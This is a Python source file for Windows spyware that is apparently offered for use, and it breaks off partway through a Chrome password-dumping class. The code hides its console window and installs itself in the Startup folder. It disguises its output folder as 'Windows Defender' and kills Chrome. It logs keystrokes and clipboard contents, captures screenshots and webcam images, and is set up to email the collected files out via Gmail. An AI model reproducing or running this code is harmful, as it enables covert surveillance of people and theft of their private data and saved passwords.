import os
import time
import psutil
import shutil
import pyHook
import smtplib
import sqlite3
import win32con
import win32api
import win32gui
import mimetypes
import pythoncom
import win32crypt
import win32console
from ctypes import *
import win32clipboard
from os import getenv
from Queue import Queue
from PIL import ImageGrab
from threading import Thread
from SimpleCV import Camera
from email.utils import formatdate
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from datetime import datetime, timedelta
from email.mime.multipart import MIMEMultipart

NUMBER_OF_THREADS = 7
JOB_NUMBER = [1, 2, 3, 4, 5, 6, 7]
queue = Queue()

PROCNAME = "chrome.exe"

# KEYLOGGER CONFIG
# Output Config
path_to_files = "C:/Users/" + win32api.GetUserName() + "/Documents/Windows Defender/"
file_name = path_to_files + "log.txt"
path_to_images = path_to_files + "IMAGES/"

# CAMERA CONFIG

# Screenshot
# interval in sec
interval_screenshot = 120

# WebCam
# interval in sec
interval_webcam = 120

# MAIL CONFIG
files = [path_to_files + "log.txt", ]

FromConf = 'username@gmail.com'
ToConf = 'username@gmail.com'
passwordConf = 'password'

intervalMail = 600

# Window Config
curr_window = None


class Startup:
    def hide(self):
        window = win32console.GetConsoleWindow()
        win32gui.ShowWindow(window, 0)

    def add_to_startup(self):
        path = "C:\\Users\\" + win32api.GetUserName() + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
        if os.path.isfile(path + __file__) == True:
            pass
        else:
            shutil.copy(os.getcwd() + __file__, path)

    def create_hidden_folder(self):
        if os.path.exists(path_to_files):
            pass
        else:
            os.makedirs(path_to_files)
            win32api.SetFileAttributes(path_to_files, win32con.FILE_ATTRIBUTE_HIDDEN)

    def kill_chrome(self):
        for proc in psutil.process_iter():
            try:
                if proc.name() == PROCNAME:
                    proc.kill()
            except:
                pass

    def make_dirs(self):
        if not os.path.exists(path_to_files + "SKYPE"):
            os.mkdir(path_to_files + "SKYPE")
        if not os.path.exists(path_to_files + "IMAGES"):
            os.mkdir(path_to_files + "IMAGES")
        if not os.path.exists(path_to_files + "CHROME"):
            os.mkdir(path_to_files + "CHROME")
        if not os.path.exists(path_to_files + "FIREFOX"):
            os.mkdir(path_to_files + "FIREFOX")

    def run(self):
        self.hide()
        self.add_to_startup()
        self.create_hidden_folder()
        self.make_dirs()
        self.kill_chrome()


class Keylogger:
    def get_curr_window(self):
        user32 = windll.user32
        kernel32 = windll.kernel32
        hwnd = user32.GetForegroundWindow()
        pid = c_ulong(0)
        user32.GetWindowThreadProcessId(hwnd, byref(pid))
        process_id = "%d" % pid.value
        executable = create_string_buffer("\x00" * 512)
        h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
        windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
        window_title = create_string_buffer("\x00" * 512)
        length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
        pid_info = "\n[ PID %s - %s - %s ]" % (process_id, executable.value, window_title.value)
        kernel32.CloseHandle(hwnd)
        kernel32.CloseHandle(h_process)
        return pid_info

    def keydown(self, event):
        global data
        global curr_window
        if event.WindowName != curr_window:
            curr_window = event.WindowName
            fp = open(file_name, 'a')
            data = self.get_curr_window()
            fp.write(data + "\n")
            fp.close()

        if event.Ascii > 32 and event.Ascii < 127:
            fp = open(file_name, 'a')
            data = chr(event.Ascii)
            fp.write(data)
            fp.close()
        else:
            while event.Key == "Lcontrol" or "Rcontrol" and event.Key == "A":
                fp = open(file_name, 'a')
                fp.write("[SELECT-ALL]")
                fp.close()
                break
            while event.Key == "Lcontrol" or "Rcontrol" and event.Key == "C":
                fp = open(file_name, 'a')
                fp.write("[COPY]")
                fp.close()
                break
            while event.Key == "Lcontrol" or "Rcontrol" and event.Key == "V":
                win32clipboard.OpenClipboard()
                try:
                    data = "\n[PASTE] - %s\n" % win32clipboard.GetClipboardData()
                except TypeError:
                    pass
                win32clipboard.CloseClipboard()
                fp = open(file_name, 'a')
                fp.write(data)
                fp.close()
                break
            if event.Key == "Lshift" or "Rshift" or "Return" or "Back":
                fp = open(file_name, 'a')
                data = "[%s]" % event.Key
                fp.write(data)
                fp.close()
            else:
                fp = open(file_name, 'a')
                data = "\n[%s]\n" % event.Key
                fp.write(data)
                fp.close()

    def keylogger(self):
        obj = pyHook.HookManager()
        obj.KeyDown = self.keydown
        obj.HookKeyboard()
        obj.HookMouse()
        pythoncom.PumpMessages()

    def webcam_pic(self, interval_w):
        try:
            cam = Camera()
            while True:
                time.sleep(interval_w)
                cur_time = str(str(time.localtime().tm_year) + "_" + str(time.localtime().tm_mon) + "_" + str(time.localtime().tm_mday) + "_" + str(time.localtime().tm_hour) + "_" + str(time.localtime().tm_min) + "_" + str(time.localtime().tm_sec))
                scr = path_to_images + "webcam_" + cur_time + ".jpg"
                files.append(str(scr))
                img = cam.getImage()
                img.save(scr)
        except Exception as e:
            print e

    def screenshot(self, interval_scr):
        while True:
            try:
                time.sleep(interval_scr)
                cur_time = str(str(time.localtime().tm_year) + "_" + str(time.localtime().tm_mon) + "_" + str(time.localtime().tm_mday) + "_" + str(time.localtime().tm_hour) + "_" + str(time.localtime().tm_min) + "_" + str(time.localtime().tm_sec))
                scr = path_to_images + "screenshot_" + cur_time + ".png"
                files.append(str(scr))
                ImageGrab.grab().save(scr, "PNG")
            except Exception as e:
                print e

    def run(self):
        self.keylogger()


class Chrome:
    """
    Dump All Chrome Passwords
    Output:
        Website: some-website.com
        Username: some username for this website
        Password: password for this Username
    """
    def dump_passwords(self):
        con = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")